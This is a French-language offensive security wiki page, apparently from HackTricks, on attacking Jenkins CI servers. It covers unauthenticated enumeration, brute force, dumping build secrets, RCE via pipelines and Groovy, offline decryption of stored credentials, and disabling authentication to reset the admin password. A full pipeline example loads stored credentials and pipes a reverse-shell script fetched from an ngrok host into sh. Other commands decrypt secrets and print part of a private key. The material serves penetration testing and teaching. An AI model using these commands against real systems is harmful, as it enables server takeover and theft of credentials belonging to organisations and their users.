# Sécurité de Jenkins

{{#include ../../banners/hacktricks-training.md}}

## Informations de base

Jenkins est un outil qui offre une méthode simple pour établir un environnement de **continuous integration** ou **continuous delivery** (CI/CD) pour presque **n'importe quelle** combinaison de **langages de programmation** et de dépôts de code source en utilisant des pipelines. De plus, il automatise diverses tâches de développement routinières. Bien que Jenkins n'élimine pas le **besoin de créer des scripts pour des étapes individuelles**, il fournit un moyen plus rapide et plus robuste d'intégrer l'ensemble de la séquence d'outils de construction, de test et de déploiement que ce que l'on peut facilement construire manuellement.

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## Énumération non authentifiée

Afin de rechercher des pages Jenkins intéressantes sans authentification comme (_/people_ ou _/asynchPeople_, cela liste les utilisateurs actuels) vous pouvez utiliser :
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Vérifiez si vous pouvez exécuter des commandes sans avoir besoin d'authentification :
```
msf> use auxiliary/scanner/http/jenkins_command
```
Sans identifiants, vous pouvez regarder à l'intérieur du chemin _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ pour **noms d'utilisateur**.

Vous pourrez peut-être obtenir la version de Jenkins à partir du chemin _**/oops**_ ou _**/error**_.

![](<../../images/image (146).png>)

### Vulnérabilités Connues

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## Connexion

Dans les informations de base, vous pouvez vérifier **toutes les façons de se connecter à Jenkins** :

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Inscription

Vous pourrez trouver des instances de Jenkins qui **vous permettent de créer un compte et de vous y connecter. Aussi simple que cela.**

### **Connexion SSO**

De plus, si la **fonctionnalité**/**plugins** **SSO** étaient présents, vous devriez essayer de **vous connecter** à l'application en utilisant un compte test (c'est-à-dire, un **compte Github/Bitbucket test**). Astuce de [**ici**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** manque de **politique de mot de passe** et de **mitigation de bruteforce des noms d'utilisateur**. Il est essentiel de **bruteforcer** les utilisateurs puisque des **mots de passe faibles** ou des **noms d'utilisateur comme mots de passe** peuvent être utilisés, même des **noms d'utilisateur inversés comme mots de passe**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

Utilisez [ce script python](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [ce script powershell](https://github.com/chryzsh/JenkinsPasswordSpray).

### Contournement de la liste blanche IP

De nombreuses organisations combinent des **systèmes de gestion de code source (SCM) basés sur SaaS** tels que GitHub ou GitLab avec une **solution CI interne auto-hébergée** comme Jenkins ou TeamCity. Cette configuration permet aux systèmes CI de **recevoir des événements webhook des fournisseurs de contrôle de source SaaS**, principalement pour déclencher des travaux de pipeline.

Pour ce faire, les organisations **mettent sur liste blanche** les **plages IP** des **plateformes SCM**, leur permettant d'accéder au **système CI interne** via des **webhooks**. Cependant, il est important de noter que **quiconque** peut créer un **compte** sur GitHub ou GitLab et le configurer pour **déclencher un webhook**, envoyant potentiellement des requêtes au **système CI interne**.

Vérifiez : [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Abus internes de Jenkins

Dans ces scénarios, nous allons supposer que vous avez un compte valide pour accéder à Jenkins.

> [!WARNING]
> En fonction du mécanisme **d'autorisation** configuré dans Jenkins et des permissions de l'utilisateur compromis, vous **pourriez être en mesure ou non de réaliser les attaques suivantes.**

Pour plus d'informations, consultez les informations de base :

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Liste des utilisateurs

Si vous avez accédé à Jenkins, vous pouvez lister d'autres utilisateurs enregistrés à [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)

### Dumping des builds pour trouver des secrets en clair

Utilisez [ce script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) pour extraire les sorties de console des builds et les variables d'environnement des builds afin de trouver des secrets en clair.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### **Vol de Credentials SSH**

Si l'utilisateur compromis a **suffisamment de privilèges pour créer/modifier un nouveau nœud Jenkins** et que les credentials SSH sont déjà stockés pour accéder à d'autres nœuds, il pourrait **voler ces credentials** en créant/modifiant un nœud et en **définissant un hôte qui enregistrera les credentials** sans vérifier la clé de l'hôte :

![](<../../images/image (218).png>)

Vous trouverez généralement les credentials ssh de Jenkins dans un **fournisseur global** (`/credentials/`), vous pouvez donc également les extraire comme vous le feriez pour tout autre secret. Plus d'informations dans la [**section Extraction de secrets**](./#dumping-secrets).

### **RCE dans Jenkins**

Obtenir un **shell sur le serveur Jenkins** donne à l'attaquant l'opportunité de divulguer tous les **secrets** et **variables d'environnement** et d'**exploiter d'autres machines** situées sur le même réseau ou même de **rassembler des credentials cloud**.

Par défaut, Jenkins s'exécute **en tant que SYSTEM**. Donc, le compromettre donnera à l'attaquant **des privilèges SYSTEM**.

### **RCE Création/Modification d'un projet**

Créer/Modifier un projet est un moyen d'obtenir RCE sur le serveur Jenkins :

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Exécution de script Groovy**

Vous pouvez également obtenir RCE en exécutant un script Groovy, qui pourrait être plus discret que de créer un nouveau projet :

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Création/Modification de Pipeline

Vous pouvez également obtenir **RCE en créant/modifiant un pipeline** :

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Exploitation de Pipeline

Pour exploiter les pipelines, vous devez toujours avoir accès à Jenkins.

### Pipelines de Construction

Les **pipelines** peuvent également être utilisés comme **mécanisme de construction dans les projets**, dans ce cas, un **fichier à l'intérieur du dépôt** peut être configuré pour contenir la syntaxe du pipeline. Par défaut, `/Jenkinsfile` est utilisé :

![](<../../images/image (127).png>)

Il est également possible de **stocker des fichiers de configuration de pipeline à d'autres endroits** (dans d'autres dépôts par exemple) dans le but de **séparer** l'accès au dépôt et l'accès au pipeline.

Si un attaquant a **un accès en écriture sur ce fichier**, il pourra **le modifier** et **potentiellement déclencher** le pipeline sans même avoir accès à Jenkins.\
Il est possible que l'attaquant doive **contourner certaines protections de branche** (selon la plateforme et les privilèges de l'utilisateur, elles pourraient être contournées ou non).

Les déclencheurs les plus courants pour exécuter un pipeline personnalisé sont :

- **Demande de tirage** vers la branche principale (ou potentiellement vers d'autres branches)
- **Pousser vers la branche principale** (ou potentiellement vers d'autres branches)
- **Mettre à jour la branche principale** et attendre qu'elle soit exécutée d'une manière ou d'une autre

> [!NOTE]
> Si vous êtes un **utilisateur externe**, vous ne devriez pas vous attendre à créer une **PR vers la branche principale** du dépôt d'un **autre utilisateur/organisation** et **déclencher le pipeline**... mais si c'est **mal configuré**, vous pourriez complètement **compromettre des entreprises juste en exploitant cela**.

### RCE de Pipeline

Dans la section RCE précédente, une technique a déjà été indiquée pour [**obtenir RCE en modifiant un pipeline**](./#rce-creating-modifying-pipeline).

### Vérification des variables d'environnement

Il est possible de déclarer des **variables d'environnement en texte clair** pour l'ensemble du pipeline ou pour des étapes spécifiques. Ces variables d'environnement **ne devraient pas contenir d'informations sensibles**, mais un attaquant pourrait toujours **vérifier toutes les configurations de pipeline/Jenkinsfiles** :
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

Pour des informations sur la façon dont les secrets sont généralement traités par Jenkins, consultez les informations de base :

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Les identifiants peuvent être **scopés aux fournisseurs globaux** (`/credentials/`) ou à des **projets spécifiques** (`/job/<project-name>/configure`). Par conséquent, pour exfiltrer tous les identifiants, vous devez **compromettre au moins tous les projets** qui contiennent des secrets et exécuter des pipelines personnalisés/empoisonnés.

Il y a un autre problème, pour obtenir un **secret à l'intérieur de l'env** d'un pipeline, vous devez **connaître le nom et le type du secret**. Par exemple, si vous essayez de **charger** un **secret** **`usernamePassword`** en tant que **secret** **`string`**, vous obtiendrez cette **erreur** :
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Voici comment charger certains types de secrets courants :
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
À la fin de cette page, vous pouvez **trouver tous les types de credentials** : [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

> [!WARNING]
> La meilleure façon de **vider tous les secrets en une seule fois** est de **compromettre** la machine **Jenkins** (en exécutant un reverse shell dans le **nœud intégré**, par exemple) et ensuite **fuir** les **clés maîtresses** et les **secrets chiffrés** et de les déchiffrer hors ligne.\
> Plus d'informations sur la façon de faire cela dans la [section Nodes & Agents](./#nodes-and-agents) et dans la [section Post Exploitation](./#post-exploitation).

### Déclencheurs

D'après [la documentation](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) : La directive `triggers` définit les **modes automatisés par lesquels le Pipeline doit être relancé**. Pour les Pipelines qui sont intégrés avec une source telle que GitHub ou BitBucket, `triggers` peut ne pas être nécessaire car une intégration basée sur des webhooks sera probablement déjà présente. Les déclencheurs actuellement disponibles sont `cron`, `pollSCM` et `upstream`.

Exemple de Cron :
```bash
triggers { cron('H */4 * * 1-5') }
```
Vérifiez **d'autres exemples dans la documentation**.

### Nœuds & Agents

Une **instance Jenkins** peut avoir **différents agents fonctionnant sur différentes machines**. Du point de vue d'un attaquant, l'accès à différentes machines signifie **différentes potentielles informations d'identification cloud** à voler ou **différents accès réseau** qui pourraient être abusés pour exploiter d'autres machines.

Pour plus d'informations, consultez les informations de base :

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Vous pouvez énumérer les **nœuds configurés** dans `/computer/`, vous trouverez généralement le \*\*`Nœud Intégré` \*\* (qui est le nœud exécutant Jenkins) et potentiellement plus :

![](<../../images/image (249).png>)

Il est **particulièrement intéressant de compromettre le nœud intégré** car il contient des informations sensibles sur Jenkins.

Pour indiquer que vous souhaitez **exécuter** le **pipeline** dans le **nœud Jenkins intégré**, vous pouvez spécifier dans le pipeline la configuration suivante :
```bash
pipeline {
agent {label 'built-in'}
```
### Exemple complet

Pipeline dans un agent spécifique, avec un déclencheur cron, avec des variables d'environnement de pipeline et de stage, chargeant 2 variables dans une étape et envoyant un reverse shell :
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Lecture de fichiers arbitraires à RCE

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Exploitation

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Secrets Jenkins

Vous pouvez lister les secrets en accédant à `/credentials/` si vous avez suffisamment de permissions. Notez que cela ne listera que les secrets à l'intérieur du fichier `credentials.xml`, mais **les fichiers de configuration de build** peuvent également contenir **plus de credentials**.

Si vous pouvez **voir la configuration de chaque projet**, vous pouvez également y voir les **noms des credentials (secrets)** utilisés pour accéder au dépôt et **d'autres credentials du projet**.

![](<../../images/image (180).png>)

#### Depuis Groovy

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### Depuis le disque

Ces fichiers sont nécessaires pour **décrypter les secrets Jenkins** :

- secrets/master.key
- secrets/hudson.util.Secret

Ces **secrets peuvent généralement être trouvés dans** :

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

Voici une regex pour les trouver :
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Décrypter les secrets Jenkins hors ligne

Si vous avez extrait **les mots de passe nécessaires pour déchiffrer les secrets**, utilisez [**ce script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **pour déchiffrer ces secrets**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Décrypter les secrets Jenkins depuis Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Créer un nouvel utilisateur administrateur

1. Accédez au fichier Jenkins config.xml dans `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
2. Recherchez le mot `<useSecurity>true</useSecurity>` et changez le mot **`true`** en **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Redémarrez** le serveur **Jenkins** : `service jenkins restart`
4. Maintenant, allez à nouveau sur le portail Jenkins et **Jenkins ne demandera aucune information d'identification** cette fois. Vous naviguez vers "**Gérer Jenkins**" pour définir à nouveau le **mot de passe administrateur**.
5. **Activez** à nouveau la **sécurité** en changeant les paramètres en `<useSecurity>true</useSecurity>` et **redémarrez à nouveau Jenkins**.

## Références

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
